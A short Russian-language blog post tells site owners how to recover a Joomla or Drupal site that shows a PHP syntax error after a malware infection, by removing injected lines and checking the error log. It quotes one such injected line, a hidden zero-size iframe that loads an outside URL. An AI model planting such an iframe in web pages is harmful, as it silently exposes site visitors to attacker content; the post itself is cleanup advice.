Помог победить знакомым проблему с их сайтом. В Интернете нашел мало информации и решил поделится. Надеюсь, кому-нибудь будет полезным.

Если вы не можете зайти на свой сайт и у вас появляется ошибка syntax error. Обычно бывает надпись вроде этой:

Parse error: syntax error, unexpected ‘<‘ in /home/__/имя файла.php on line __

Иногда, такая строчка не появляется и мы видим пустой браузер. Обычно такая ошибка означает, что в него попал вирус и изменил код сайт, добавив туда свою информацию. Чаще всего это ссылка на сайт. Такая проблема может возникнуть на любом сайте с CMS – joomla, drupal и другие. Минус joomla в том, что она в этом плане самая “дырявая”.

Если у вас появилась ошибка как в примере выше, то повезло. Можно на хостинге найти этот файл, удалить строчку и все заработает. При сохранении файла php лучше всего использовать замену стандартному блокноту windows Notepad++ . Обычным блокнотом лучше вообще ничего не делать на сайте.

Эти вредоносные строчки выглядят так:

<iframe width=»0″ height=»0″ frameborder=»0″ scrolling=»no» src=»http://gubmos.com/index12″></iframe>

Ссылки могут быть разными, но характер тот же. Необходимо их удалить и сохранить файл. Только в этом случае сайт заработает.

Если такой строчки в браузере нету, то решение сложнее. Видимо, это из-за заражения нескольких файлов на сайте. Если у вас сайт находится на более или менее грамотном хостинге, то можно найти ошибки кода в журнале ошибок (error_log). В нем можно легко найти все строчки кода с ошибками. На примере masterhosta выглядит так:

Ошибка syntax error

Ошибка syntax error

Ошибка syntax error

Очень удобно.